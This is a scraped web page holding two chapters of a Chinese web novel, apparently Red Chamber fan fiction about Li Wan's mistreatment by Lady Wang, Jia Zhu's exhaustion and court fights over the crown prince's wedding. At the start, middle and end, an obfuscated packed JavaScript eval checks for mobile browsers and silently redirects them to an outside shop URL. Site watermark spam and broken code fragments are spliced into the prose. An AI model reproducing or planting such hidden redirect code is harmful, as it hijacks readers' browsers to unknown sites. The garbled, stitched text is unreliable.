;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583167|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,整个人气色愈发好了起来。 贾史氏看着,觉得叫贾敏回来省亲果然是好事,离了江南那个泥沼,如今倒是有了原本闺中女儿无忧无虑的模样,倒是叫贾史氏也跟着松快了不少。 加上贾敏经常带着一双儿女过来,张氏那边不好驳了贾敏的面子,也会叫玫姐儿过来请安,贾史氏膝下愈发热闹起来。她年纪大了,本来就喜欢儿孙绕膝,尽享天伦,如今合了她的心意,愈发手松起来,几个孩子都得了不少好东西。 贾敏私底下都要劝几句:“母亲,你有好东西,就自个留着,给他们这些小的做什么! 贾史氏笑道:“既然都是我的东西,我乐意给谁就给谁!留着做什么,将来迟早也是他们的,难道还跟着我入土不成? 说的域名qiexs.com♀(请来企鹅小 说 看最新章节 完整章节) 贾史氏话都说到这个份上了,贾敏还有什么好说的。她倒不是觉得偏了自家亲妈的好东西,委实是这些日子王氏的眼神叫她有点不自在,搞得她带着孩子回来找亲妈打秋风一样。她出嫁的时候就是十里红妆,在王氏看来,算是已经将该拿到的拿到了。二房以后分家,能真正分得到的产业并不会太多,因此,二房能得到的大头主要还在贾史氏的私房里头。 王氏惦记好久了,结果小姑子带着一双孩子回来,明面上就得了不知道多少好东西,私底下还不知道婆婆怎么贴补呢,每每这么一想,王氏就整宿整宿地睡不着觉。又暗恨自家小儿子是个不知道经济的,每日里只知道跟姐姐妹妹们一起玩,根本想不到,姐姐妹妹们拿到的那些东西,许多都应该是他的! 贾敏虽说不知道王氏这般想法,但是也能想得出来,王氏就是觉得出嫁的小姑子回来吃家里住家里也就罢了,居然还要抢家产。 贾敏对此有些哭笑不得,她差这点东西吗?林家五代列侯,又是几代单传,产业丰厚,贾敏自己也是见惯了好东西的,如今会惦记母亲的私房,也就是王氏,如今在钱财上头盯得愈发紧了。 贾敏从张氏那里知道,自从薛家之前那位家主过世之后,王氏与自个妹妹往来就愈发多了起来,薛家每每都有厚礼送到,大头都是进了王氏的私房。薛家是商家,又不是摇 钱树,王氏要是没给薛家解决什么问题,薛家便是她亲妹妹当家,也不可能总有厚礼过来,毕竟人家也是有孩子的,哪有不把好东西留给儿女,反倒是给姐姐的道理。 贾敏难免提醒张氏几句,是不是薛家那边仗了贾家的势,在做什么不法的生意。 薛家不是盐商,因此,在扬州的时候,林家跟薛家也没什么往来。薛家其实想要借着亲戚关系贴上来过,但是林如海却拒绝了。具体为什么,林如海没跟贾敏说,但是私底下只说薛家那边做事不太讲究,什么都想要插一脚,逼着不少小商户无路可走,林如海还有些传统士大夫的习气,见不得这个,因此,不愿意跟薛家打什么交道。 光是听林如海说的那些,贾敏就能猜出来薛家是个什么行事,无非是仗着祖上有些功劳,身上还有个皇商的名头,如今再借着亲戚的势,还不知道要做些什么呢,别到时候连累了娘家。 张氏听了,也是无奈。她也跟贾赦说了,贾赦叫人去金陵那边打听了一回,知道薛家那边,薛王氏是个没什么主意的,又一味溺爱儿子,儿子年纪只比贾珠小几岁,如今却跟个小霸王一样,也就是年纪还小,还没真的开窍,要不然就是个欺男霸女的货色,哪里知道什么生意经济。如今家里的生意倒是薛俭的弟弟薛信帮忙管着,家里还有些老掌柜支应着,光景也远不如从前。 贾赦就不明白,自家儿子不是这块料,干脆将皇商的资格给了族人,然后将自家的家产放进去做股本,一家子老老实实拿分红就是,何必非得捏着个皇商的资格不放呢?有贾家的势在这里,薛家的人也不敢真的吃了他们这一房的绝户,还能有足够的心力教养儿女,结果如今恶了族人,因着生意不好做的缘故,各房都将自家的本钱给拿了回来,自个另起炉灶,他们空有个皇商的名头,却是一日不如一日了! 就薛家母子几个那德性,不被下面的掌柜糊弄架空了就是好事,便是想要欺行霸市都没这个本事,所以,借一下贾家的名头,也只当是可怜他们孤儿寡母了!倒是王氏懒得理会妹妹一家的难处,她反正就要钱!至于其他的,她是一概不多问的! 从张氏那里知道如今薛家也就是勉力支撑,并无余力做别的事情,贾敏才算是安下心来,跟张氏说了一回薛王氏的糊涂,便将这事给放下了,毕竟,薛家就是二房的亲戚,跟自己也扯不上什么关系,他们家如何,自然不用多管。 贾敏回娘家省亲,也不光是给儿女调理身体,其实也得履行作为林家主母的职责。林如海在京城还有不少故交师友,之前人在江南,只能书信往来,如今贾敏到了京城,就可以开展夫人外交。因此,她很快就忙碌了起来。 …… 从贾敏进了京,顾晓就关注着贾家那边的情况,贾珍与王熙凤成亲,王府虽说没有上门,但也是送了一份贺礼的。只是贾敏回京,因为当年顾家跟林家分道扬镳,之后也没了什么往来,顾晓这样的身份,没事也不好上门。 就在顾晓心痒痒的时候,机会来了! 作者有话要说 鹅小说更新,记住域名qiexs?(请来企 鹅小说 看最新章节 完整章节) 第 190 章 李纨的苦涩 第190章李纨的苦涩 顾晓一时半会儿没想到,佳婉是贾瑚的未婚妻,金陵十二钗里头好几个,都算是佳婉未来的小姑子了!虽说未婚男女婚前不好见面,但是跟小姑子凑一块玩一玩,还是可以的。 佳婉佳姝之前几个闺蜜要么已经出嫁,要么正在备嫁,以至于如今在家闲着有些无聊。听说贾瑚家里新来了个表妹,虽说年纪小,却是个颇为灵秀可爱的小女孩,不免也有了兴趣。 何况,自从两人订亲之后,佳婉还没见过自己正经的小姑子玫姐儿,随着婚期临近,她一边期待,一边又有些紧张,张氏也就罢了,见过几次,是个慈爱宽和的,但是小姑子年纪还小,应该还要相处几年,要是个刁钻古怪的,岂不是糟糕? 因此,佳婉便找了顾晓,表示自己想要下帖子请贾家几位姑娘到王府来玩。 “既然如此,那你自己做主便是了!”佳婉她们几个也招待过不少客人了,虽说这次招待的客人年纪会比较小,但顾晓却也没有多说什么,只是想着到时候趁着机会见一见那几个姑娘。 等人来的时候,顾晓其实有些失望,主要还是几个孩子都太小了,玫姐儿虚岁也就是八九岁,黛玉也就是六七岁,湘云比黛玉小几个月,探春跟湘云年纪却是差不多。 这么大的孩子,放在后世,就是低年级的小学生,看起来可爱是够了,但要说什么风华,那是真看不出来,总要等到十多岁的时候,才能有一些真正属于女性的魅力出来。 可卿很喜欢这几个小姑娘,她在家年纪最小,如今又来几个更小的妹妹,一个个还生得漂亮可爱,粉雕玉琢,偏生又都聪明伶俐,只叫可卿爱得不行。 原本知道招待的都是小女孩,佳婉佳姝也从来不以才学见长,因此,准备的时候,更多的是准备了许多吃的喝的玩的,各种精致的点心,酸甜可口的花果茶,还有一些市井里头的小玩意和适合小孩子玩的小游戏。大家可以凑在一起套圈、放风筝、跳绳、踢毽子,连着之前的滑梯和秋千也被重新装饰了一番。 几个小姑娘一开始还有些拘谨,但很快便都放开了,一个个玩得汗珠点点,娇喘微微,很是开怀。 佳婉也是松了口气,觉得都是比较好相处的小女孩,以 后嫁过去不用为了姑嫂关系烦心了。 几个女孩子玩了快一天及到快傍晚了才回去。 湘云跟黛玉坐在一辆马车上两人如今也混得熟了 湘云笑嘻嘻说道:“今儿玩得真开心我还以为王府规矩很大呢想不到便是郡主县主也都挺自在!” 黛玉也是笑道:“大概是郡主县主都有自在的底气吧!” 黛玉这般一说湘云有些低落起来她虽说不知道自己母亲是怎么回事只知道母亲病了没法抚养自己姑祖母心疼自己才接了她过来。 但她看着其他人都有母亲便是探春生母赵姨娘很多时候显得有些无知粗鄙但她对探春的关心却是显而易见的她会给探春做鞋袜会将一些她觉得好吃的点心留给探春为了多看到探春几次她肯经常在王氏那里伺候。 而湘云却没有这样的记忆便是偶尔回保龄侯府她也只能隔着门给自己的母亲问安连母亲的声音都听不到她有的时候甚至想要怀疑母亲真的活着吗? 她看着性子疏朗平时里总在说说笑笑似乎没有任何烦恼一样实际上心里总是有许多不安只是她寄人篱下从来不敢表现出来罢了免得叫人觉得她不识好歹。 这会儿看到黛玉她心里竟是生出了一些嫉妒来黛玉父母双全还有个弟弟不像是自己史家那边兄弟姐妹虽然多却是隔了房的他们是一家人自己过去大家面上都是客客气气却没多少热乎气。所以即便史家那边有人想着不能叫史湘云一直养在贾府但史湘云也不想回去甚至想到要回去都忍不住战栗。 黛玉心思敏感虽说没意识到史湘云的嫉妒却看到了她的低落她想了想便握住了湘云的手轻声说道:“云妹妹你其实也可以让自己自在一些!” 湘云抿了抿嘴唇强笑道:“林姐姐我其实一直觉得自己挺自在的呢!老祖宗那么疼我姐姐妹妹们跟我也要好我还有什么不满足的呢?”嘴里这么说着湘云的心里却觉得有些空落落地甚至有些荒芜。 黛玉毕竟年纪也小也不知道该如何安慰湘云只得继续与她双手交握一时 间两人都沉默了下来。 另一驾马车上,玫姐儿和探春却没这么多想法,玫姐儿觉得未来嫂子开朗又亲和,探春虽说年纪小,却也本能地觉得有这么一个嫂子,对自己来说也是一件好事。她们今天也玩得很开心,玫姐儿想着跟母亲说,给大哥修院子的时候,也给院子里放个秋千架子还有那什么滑梯,嗯,她自己也想要一个。 几个女孩子回去,还没来得及跟家长分享自己的喜悦,宝玉就冒了出来,有些酸溜溜地表示,你们出去玩,都不带我。贾史氏哭笑不得,若是寻常亲戚,贾宝玉年纪也不大,跟着一起过去,大不了在前头跟亲戚家的表兄弟一块玩便是。但那是王府,一个被册封了两个王爷,一个镇国将军的王府,在宗室里头,那也是首屈一指的。 若是贾代善还在,他们家倒是可以不用太看重一个宗室王爷,但如今却没这个资格!何况,这种事情,本质上来说是礼法,贾家自家怎么做无所谓,但明明人家只邀请了贾家的姑娘,却多了个公子,那就是无视礼法,别说是王府了,便是寻常的人家,遇到这种事情,也是会生气的。 贾史氏笑道:“人家请的是家里的几个姑娘,宝玉你又不是姑娘! 贾宝玉很是自然地说:“我倒是想要做个女孩子呢,女孩子是水做的骨肉,男子是泥做的骨肉,我下辈子一定要投生成女孩子,跟姐姐妹妹们永远在一起,岂不是好呢? 几个大人听得都觉得好笑,毕竟宝玉在他们眼里还是个孩子,这就是典型的孩子话。 贾敏笑道:“但你这辈子还是个男子,自然不能跟着姐妹们一起过去了! 贾宝玉倒也没有闹腾,只是有些故作惆怅地叹了口气,又凑到几个姐妹那里询问今日的见闻。 史湘云素来是个喜欢说话的,当下先开口,将今日的见闻说了:“我们先去拜见了太妃娘娘,太妃娘娘看起来还很年轻,也很和气,还问了我们的名字,之后又赏了我们一人一副镯子!说着,便将手腕举起来给大家看,顾晓给的镯子都是累丝嵌宝镯,只是做成了不同的花样,史湘云是海棠,林黛玉是芙蓉,玫姐儿是玫瑰,探春是玉兰,以金丝编制成缠枝花样,用宝石为蕊,做得极为精美。 贾史氏见了,笑道:“这都是内造的手艺,如今外面可是不多见了! 她没说让几个孩子好好收着的话,因为都是小孩子的款式,口径比较小,再大一些也戴不了了,不如趁着年纪小多戴两年,之后收起来,将来可以传给孩子。 “郡主县主也都是极好相处的人,生得也好看,这次请客就是郡主安排的,准备了好多好吃的好玩的,可有意思了!史湘云叽叽喳喳将事情形容了一遍,大人们都乐呵呵听着。 当身份地位到了一定的程度,只有你挑剔别人的份,没有别人挑剔你的份!换做别人家尚未进门的媳妇这般,只怕都要有人说一声轻佻,但对上佳婉,大家只会说对方周到的,没错,那都是为了哄一帮小姑子啊,肯定不是郡主自己想要玩! 王氏心里不赞同,主要是这个郡主不是自己的儿媳妇,自己的儿媳妇只是个四品穷官家的女儿,比起郡主,实在是差太远了。要是自己儿媳妇是郡主,自己一定不管她做什么,她就算一辈子吃喝玩乐又怎么样呢? 这般一想,王氏对未来儿媳妇,未免更不满起来。都快要成婚了,也没想着认识一下小姑子,委实不够友爱。 李纨不知道未来婆婆给自己树立了一个无法企及的标杆,自己还没嫁过去,就已经开始被吹毛求疵了。 她悄悄隔着屏风见过贾珠一面,贾家的男子,便是当年的贾源贾演长相也不差,毕竟,贾家并非泥腿子出身,也是乡里的大族,要不然,这兄弟两个也不能以勇武闻名军中。说白了,没有足够的营养,是养不出力气来的。 贾珠在一众兄弟中虽说不是最出色的,但也面如冠玉,加上公侯之家养出来的富贵气度,读书带来的风姿谦和,对于情窦初开的少女来说,还是很有吸引力的。 因此,李纨如今在精心制作自己的嫁衣,憧憬着婚后与贾珠琴瑟相谐,夫妻和乐的生活,浑然没想到,自己面临的是婚姻中的困难模式。 贾珠的婚事放在了来年的春天,李纨的嫁妆在懂行的人看起来非常体面,光是书籍就有三十来箱,可见李家的诚意,而在王氏看来,简直心脏病都要犯了。 这个儿媳妇的嫁妆也太简薄了,都是书,这值什么钱,就陪嫁了一百亩的土地,还是通州那边的,也没铺子,头面首饰数量也不多,嫁妆里面的衣料好的都是贾家给的聘礼,其他的都是普通的绸缎。摆件就是比较普通的瓷 说更新,记住域名qiexs?(请来企鹅小 说 看最新章节 完整章节) 器,连官窑都不是,竟是民窑的货色。 王氏用自己仅有的算数知识算了一下,觉得儿媳妇的嫁妆撑死也就是一千两银子,这也太亏了点,就比他们家聘礼略高一点,这不是坑人嘛! 好在王氏还明白什么叫做礼数,因此,当着其他人的面,她也没表现出什么不满来。 贾珠婚前将两个通房打发了,却没想到王氏直接将人给留了下来,等着过一阵子赐下去。 最妙的是,李纨嫁过来还没满三个月,李守忠居然外放做学政了! 在王氏看来,李纨娘家人不在,那还不是随便自己拿捏。事实就是如此,李纨是正经接收了三从四德教育的人,别说贾珠还算是良人,便是所托非人,她也只能认了。 贾珠大多数时间都在东山书院,一个月也就回来两次,她打交道更多的就是上头两重婆婆。 贾史氏还好,她早就对折腾媳妇没兴趣了,毕竟,张氏又不怎么过来,她折腾的就是个王氏。王氏偏偏是个木头一样的性子,笨嘴拙舌,看着就有些蠢。贾史氏不喜欢蠢人,她喜欢那种性子灵巧的。所以,叫王氏吃饭的时候布布菜可以,其他时候,还是算了吧,她打牌找不到牌搭子,宁可叫丫头凑数,也不肯找王氏。 她对王氏尚且如此,对孙媳妇自然就更宽容了。她虽说也素来更倾向于在勋贵老亲中结亲,光是将女儿嫁给林如海,贾史氏就耿耿于怀了很久。但她其实也明白,贾珠但凡想要在科举上走,有个文官做岳丈肯定比有个武将做岳丈强得多。因此,她对李纨素来是极为宽和的,小两口新婚,贾史氏给李纨的见面礼就是一副金镶玉头面,李纨对这个太婆婆也很是敬重。 而对王氏这个婆婆,李纨就有一种无从下手的感觉。 王氏并无什么疾言厉色,看着还是个慈眉善目的,偏偏她就让你各种不自在。 侍膳也就罢了,王氏伺候贾史氏,她伺候王氏这个婆婆也是理所应当的,但是王氏伺候了贾史氏之后就能回自己屋里吃自己的菜,李纨却只能吃王氏剩下的残羹剩饭。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583168|117602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贾家倒是不需要李纨纺纱织布,下地干活。但王氏喜欢念佛,就要李纨帮着抄佛经乃至绣佛经,连着晚上,也得让李纨伺候自己睡着了才能回去休息。 李纨没办法跟贾珠说这些事,因为这并 没有超出一个儿媳妇应该尽的孝道。只是这种琐碎的事情真的叫李纨身心俱疲只有贾珠回来那两天才能叫李纨松快一些。 结果如今又来了两个丫头虽说王氏没明说李纨也不知道这两人是之前伺候过贾珠的但愈发不自在起来。你便是要给人好歹等个一年吧这才三个月居然就等不了了李纨真心觉得委屈。 贾敏都为李纨觉得委屈她就不明白王氏折腾儿媳妇对她有什么好处李纨如今看着不告状但是之后呢?李家只是外放了又不是死了知道自家女儿日子过得不好难道还能对贾珠多尽心?但这种事情她这个出嫁的小姑子根本不好指指点点贾敏只得当做没看到。 贾珠忙于学业对家里的事情也知道得不清楚但是从学里回来发现原本打发出去了的两个通房又回来了不免就傻了眼然后就有些心虚。 李纨是新妇也没看出来这两个丫头都是被收用过的还跟贾珠说这是婆婆身边伺候的贾珠没脸跟李纨说只得含糊地应了下来。他想要找王氏说这事却不知道该怎么说。 贾珠不是个能反抗父母的孩子他很多时候甚至有些软弱。这也是这年头许多年轻人的通病父权纵然不如君权一样至高无上但是也是不容违逆的。贾政不是什么会跟儿子讲道理的人王氏更是只讲自己的道理她只想要儿子出息她没法夫荣妻贵只能母凭子贵。 在王氏那里贾珠都觉得气短太多的期待压在自己身上母亲想要靠着自己得到凤冠霞帔妹妹被困在宫里出来都二十了自己要是那会儿还不够出息那么妹妹只能低嫁到某个人家做继室进门就要做便宜母亲。 这些期待压得贾珠喘不过气来他自觉自己如今还不够出息因此就更不能反抗父母只得将此事作罢。 只是他也心疼新婚的妻子。因为他要读书的缘故两人聚少离多结果还遇上这样的事情。 因此贾珠也不跟那两个丫头说什么只叫她们在李纨身边伺候。 这两人既然是王氏精挑细选出来的自然不是什么省油的灯回头就去王氏那边哭诉王氏就去敲打李纨说她既然是书香门第出身自然知道女子不能嫉妒她嫁过来这么长时间也没什么好消息怎么不叫个丫头伺候丈夫? 王氏这简直是蛮不讲理,贾珠一个月回来就那么几天,要是这样都能有好消息,那才叫奇怪!但是这种话李纨也说不出口,只得忍辱应了下来,等着下次贾珠回来,还得老老实实安排那两个通房伺候贾珠。 贾珠一边觉得对不住李纨,对于之前伺候过自己的两个通房也狠不下心,作为一个男人,还能怎么办,无非就是雨露均沾。因此,明明放假回来是休息的,结果回家之后还得交几份公粮,熬得人都瘦了一圈。 家里头还当他是读书辛苦,王氏也不懂别的,觉得人参最补,就从公库里头支了人参,给他炖参汤,切了参片炖鸡汤。张氏知道了,劝上几句,王氏就觉得张氏是舍不得给自家儿子用人参,还得抱怨几句,甚至跑到贾史氏那里告状。贾史氏叫了贾珠过来,也觉得贾珠大概是读书读得太苦了,毕竟他是有前车之鉴的,因此,一边安慰他不用太着急,一边还将自己私库里头的老参拿了两支出来赏了贾珠。这下王氏就跟得了尚方宝剑一样,愈发得意起来。 张氏也没法说什么了,人参便是金贵,贾家也不至于吃不起,荣宁街上那些族人病了要用人参,都要到两府里头求,每年光是这里,都要支出好几斤的,哪里就差了贾珠这些。 只是,贾珠这个情况,不找个太医回来看诊,反而只一味进补,又算什么呢? 好言难劝该死的鬼,张氏自觉已经尽到了自己的义务,就随王氏折腾去吧! 贾敏也没意识到贾珠的情况,贾珠读书辛苦,贾史氏早就免了他的请安。因此,贾敏也就是偶尔见贾珠一面,也以为贾珠就是读书太过辛苦,还劝过几次。读书这种事情也该劳逸结合,真要是坏了身体,回头乡试一连九天,哪里撑得下来呢? 只是这话说出来,有点诅咒的意思,劝了几次之后,见贾珠依然如故,贾敏也不好再说了!当初贾珠去扬州拜见他们两口子的时候,怎么就没看出来,这小子竟然是个执拗的性子! 贾珠也是心里苦,他何尝不知道自己需要休养,但是妻子被母亲苛责的一个原因就是无子,他要是不管那两个通房,妻子又得被母亲说成是嫉妒,所以,就算回来不交三份公粮,起码也得交两份吧! 以前他挺盼着放假的,妻子书香门第出身,自己说什么,对方都能搭上话,能让他体会到红袖添香夜读书的快乐!但如今嘛,他居然情愿留在书院多读书了,甚至回来的时候,也更乐意待在书房里头,看着日头西沉,就开始紧张。 可惜的是,王氏只想要贾珠乡试及第,到时候自己也能扬眉吐气,李纨只希望能够借着贾珠逃避婆婆对自己的苛责,至于那两个通房,她们想不了那么多,她们想的就是,自己要趁着这个机会,讨好贾珠,之后好成为正式的姨娘。她们倒是没想着生个庶长子出来,她们可是明白,真要是出了这种事,她们头一个要死!王氏再不喜欢李纨,她也需要一个嫡孙,而不是一个庶出的长孙。除非李纨嫁过来好几年都没有消息,否则的话,她们只能一直服用活血的避子汤避孕。 就在贾珠用自己的身体为代价,努力平衡学业和家庭的事后,佳婉与贾瑚的婚期也渐渐临近了。 作者有话要说 第 191 章 事情兜兜转转,又... 第191章事情兜兜转转,又 饶是顾晓想要多留佳婉几年,但是这年头的风气,谁家女孩子十七八岁还没出嫁,不会认为你是心疼女儿,只会觉得你家女孩子有什么问题。 因此,拖了几年之后,佳婉还是要出嫁了。 这婚事虽说是徒嘉钰先张罗的,但是随着婚期临近,他又有些舍不得了,还跑去贾瑚那边威胁了他一通,表示贾瑚要是哪一天欺负了佳婉,他非要狠狠教训他不可。 当然,徒嘉钰的婚事其实也定下来了,是张氏做的媒。 张氏给徒嘉钰选择的是锦乡侯家的女儿,锦乡侯韩家当年也是南方人,或者说,他们家是南越人,原本家里是渔民,另外也干点买卖私盐的时候,后来天下大乱,他们家就跟一帮渔民一起找了个海岛结寨自守,之后朝廷打过去了,他们第一时间投靠,也被收编,后来以功封侯。 实际上,锦乡侯这一脉如今也就剩下一个子爵的爵位了,但是韩家在军中依旧还说得上话。朝廷三支水师,一支在北海,一支在东海,一支就在南海。 南海那一支里头,就有不少锦乡侯的姻亲故旧,韩家这一代的当家人韩炜如今就是兵部右侍郎,他的弟弟还在南边的市舶司任职。 张氏之前给了好几个选择,其中不乏还是公侯门第的,但最终顾晓选择了锦乡侯府,毕竟,他们家一方面人口姻亲多,一方面本身就掌握着海上的力量。 锦乡侯府虽说没人听说他们家做什么海贸生意,但光看他们家的排场,就知道,他们家肯定有这个门路,要不然,也不至于活得这般滋润。要知道,锦乡侯府当年所得到的爵产可没多少,也没像是王家一样,把持了好些年的海外进贡之事。他们家几代人都还算是老实,并没有掺和到不该掺和的事情里头,然后人口滋生,分了好几次家之后,还能过得这般滋润,没点来钱的门路才怪。 顾晓不看重他们家的钱,但是他们家的人脉和路子,却是顾晓看重的,到时候真的开启海外分封,锦乡侯府那边也能帮得上忙! 徒嘉钰虽说没有亲眼见过未婚妻,但是锦乡侯府的男子一个个都长得不错,可见家里女子相貌也不会差。如此,对于徒嘉钰来说,已经足够了! 指望他对一个 没见过面的女子生出什么倾慕之意来,那是不可能的事情。但娶妻又不是纳妾,妻者,齐也!他娶回来的以后就是平王府的正妃,主持一个王府,他必须给这个妻子足够的尊重,让她不像自己的母亲当年一样。何况,他将来还想要跟着大皇子一起出海,那么就更需要妻子是一个性情坚韧,且有能力的人。这样的人,如果你不给她足够的尊重,只当她是个可以掌控的内宅妇人,又怎么行呢! 就像是自己的母亲,父王在的时候,母亲就是个寻常的妇人,她不会与父王同心,因为她所作的一切努力,得到的好处都不会落到他们母子身上,反而很可能会便宜了侧妃,而父王薨逝之后,母亲看似不声不响,却是将内宅打理得井井有条,给王府积攒了大量的财富,还为自己的弟弟也争取到了一个王位。若是放在父王还活着的时候,这可能吗? 徒嘉钰没有先跟未婚妻在书信中说自己的志向,他就是学着当初的贾瑚,给人家送几句情诗,送一点小东西。 那位韩姑娘倒也不是那等迂腐的,两人就这么通过锦乡侯府的公子玩鸿雁传书那一套,渐渐倒也有了一些默契。 徒嘉钰的婚事都定下来了,作为皇长子的徒嘉珩,婚事也已经排上了日程。 但是,紧接着面临的就是徒嘉珩婚礼的规格。 按理来说,皇子成婚之前都会先封王,然后以亲王的规格成婚。但是徒嘉珩是嫡长子,他若是封王,无疑就是将他排除了太子的人选。问题是,徒嘉珩并无过错,反而在朝野上下颇有孝名,便是太上皇的那些老臣,对于徒嘉珩的观感也很好,你就这么将人给否定掉了,未免太不合规矩。 如今圣上就是左右为难,毕竟,他下面孩子还小,也看不出贤愚来,既然不肯立徒嘉珩,又来立谁呢?因此,尽管朝堂上已经有了请立太子的呼声,却都被圣上留中不发,甚至还在朝堂上发了火,这才将这个风声给压了下来。 但压是压下来了,徒嘉珩眼看着就要大婚,结果到现在连婚礼的规格还没能定下来,宗人府和礼部的人吵成一团,就差没有大打出手。 结果原本应该要为儿子努力争取的皇后却是一言不发,贤妃私底下颇有些小动作,皇后却视若未见,但是当年曾经一度得宠,后来便被冷落的周侧妃,现在的周贵人居然又起来了 。她年纪其实已经不小了不知道怎么的得到了圣上的垂怜虽说没有提升位份但是却也开始享受嫔的份例侍奉圣驾的次数也多了起来。 因着周贵人的异军突起倒是叫贤妃有些手忙脚乱她们两个暗地里头针锋相对勾心斗角周贵人毕竟资历深也曾经给圣上生育过孩子无非就是孩子夭折了便是贤妃位份更高也不好拿这个压着周贵人。毕竟皇宫里头嘛很多时候讲究的不是什么等级礼法只要有圣宠在那么位份低一些也算不得什么 贤妃出身一般也无多少才具无非就是长了一张好脸又肯放下身段邀宠罢了!她之前就曾经因为苛责宫人被皇后责罚过如今周贵人这边还是正经的嫔妃她哪里敢拿着自己的位份去打压只能是各种争宠也亏得圣上没有明确提升周贵人的品级要不然的话贤妃还有些玩不过她! 大家都觉得周贵人背后是皇后在撑腰但是圣上能听皇后的真的去宠幸周贵人也说明了皇后在圣上心中的地位如此即便徒嘉珩一直没有被册封下头的人也还得恭恭敬敬伺候着。 眼看着关于婚礼规制的嘴仗都打到朝堂上去了圣上才一锤定音表示皇长子的婚礼规格介于亲王与太子之间。 但对于下面的臣子来说圣上就是在和稀泥还有太子可以住东宫皇子大婚都是在宫外王府这可怎么和稀泥! 结果圣上前脚说如今几个皇子贤愚不明因此暂不册立太子后脚就将自己的潜邸雍王府赏赐给了皇长子却又不给徒嘉珩明确的王号这下就让许多人都傻了眼。 徒宏憬那些人趁机指责圣上昏聩不尊礼法意图废长立幼朝堂上也有一干头铁的御史冒出来进谏圣上自个理亏偏生如今对海外情况也不了解最重要的是还拿不出多少钱来只得忍气吞声反倒是叫徒宏憬和一干老臣愈发嚣张起来还有人私底下喊着要圣上还政太上皇的。 也就是太上皇手里的确还掌握着不少实权如今跟圣上处在了一个微妙的平衡状态否则的话就如今这些流言就足够叫父子反目乃至兵戎相见。 太上皇的态度也很暧昧一方面说圣上只是觉得时机不成熟另一方 面又说圣上有些不成熟。总之就是吊着那一干老臣叫他们觉得只要自身实力能够取得太上皇的支持就能够推翻圣上的位置。 可以说就因为这场婚事朝堂上乱成一团许多人又想起了那次宫变后的腥风血雨胆子小的已经龟缩了起来生怕沾染上半点是非。但也有那等信奉富贵险中求的已经开始暗中勾连。 圣上这边却当做什么事也没发生一样只是下了一道诏书起复旧员。 这道诏书一出许多人都开始胆战心惊起来因为这个旧员的范围并没有明确这里头是否包括了当年因为义忠亲王乃至一干作乱逆王而获罪夺职的官员呢? 当年有不少人是因为告发了这些人得以青云直上的如今都是毛骨悚然尤其是一干自诩忠于太上皇的老臣当年那些人要资历有资历要名望有名望要人脉有人脉要能耐有能耐真要是叫这些人回来他们这些人还有多少价值呢? 就因为这道暧昧不明的诏书大明宫的门槛都被踩破了大家都想要从太上皇那里得个准话好将这事给搅黄了。 但是一道新政策下来有利益受损的必有将得利益的。 别的不说这些年因为各种事情被罢官夺职的官员有了起复的机会定然一个个要高呼圣上圣明只恨不得肝脑涂地要为圣上尽心竭力而他们这些老臣就是这些人的眼中钉肉中刺毕竟他们不把位置腾出来这些人难道顶着起复的名头老老实实在吏部候补吗?开什么玩笑! …… 贾雨村就是望眼欲穿的一员。在这个世界他一直在甄家坐馆 贾雨村这会儿也搞不清楚京中是个什么情况但是错过了这次机会他不知道还要蹉跎多少年。因此尽管知道甄家其实是太上皇的臣子不是当今的臣子也只得硬着头皮从甄应嘉那边讨了一份荐书准备进京谋个一官半职。 徒宏憬正发愁呢他们前脚还在指责圣上的德行但圣上只是说立储要慎重以免未来后悔莫及却没明 确要废长立幼然后就丢出来这么个炸弹弄得徒宏憬一干党羽措手不及结果贾雨村就拿着甄家的荐书找上门来了。 他很快就意识到这些年被黜落的官员又不都是那等因为站错了队而被罢免的也有类似于贾雨村这样的寒门进士他们这些人才是真的经不起风波因此若是能趁着机会用这些人占了位置这些人感激的到底是圣上还是自己呢? 因此 事情兜兜转转又回到了原点。贾雨村这人本身就是豺狼心性对徒宏憬未必就如何感激了。徒宏憬的性子他也看出来了是个轻浮无能的贾雨村怎么想都不觉得徒宏憬能成事因此还没上任呢就琢磨着如何跳下徒宏憬的船。 正好在前往应天府起复之前遇上了贾政。贾雨村何等人才对上贾政那差不多就是降维打击很快就跟贾政称兄道弟要不是贾政做不了主贾雨村都能跟荣宁二府联宗。 饶是如此贾政也被贾雨村吹捧得晕晕乎乎听说贾雨村要去金陵做应天府尹那叫一个大包大揽直接给贾雨村写了一封信表示贾家在金陵那边还是有点人脉的到了那里有什么为难之处可以叫贾家的族人帮忙。 贾雨村其实也瞧不上金陵贾家甚至根本瞧不上贾政。对他来说这等货色就因为投了个好胎因此不用奋斗就能轻轻松松身居高位他睡觉想到了都能愤愤不平地坐起来偏生自己自诩英雄豪杰还得奉承这等蠢货。但是他之前可是仔细观察过了贾家看起来没站队但是起码贾家大房肯定是当今的人。要不然他们家老大凭什么能娶平王府的郡主平王府在当今还在潜邸里头就与之交好哪里会将女儿嫁给与当今政见不同的人家。 在意识到贾政跟贾赦关系不好之后贾雨村也没有冒昧请求贾政引荐贾赦而是想着之后再找个机会通过贾赦对当今表一表忠心他可以为当今背刺甄家和纯王! 机会很快来了! 性格决定命运甄英莲没有被拐但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 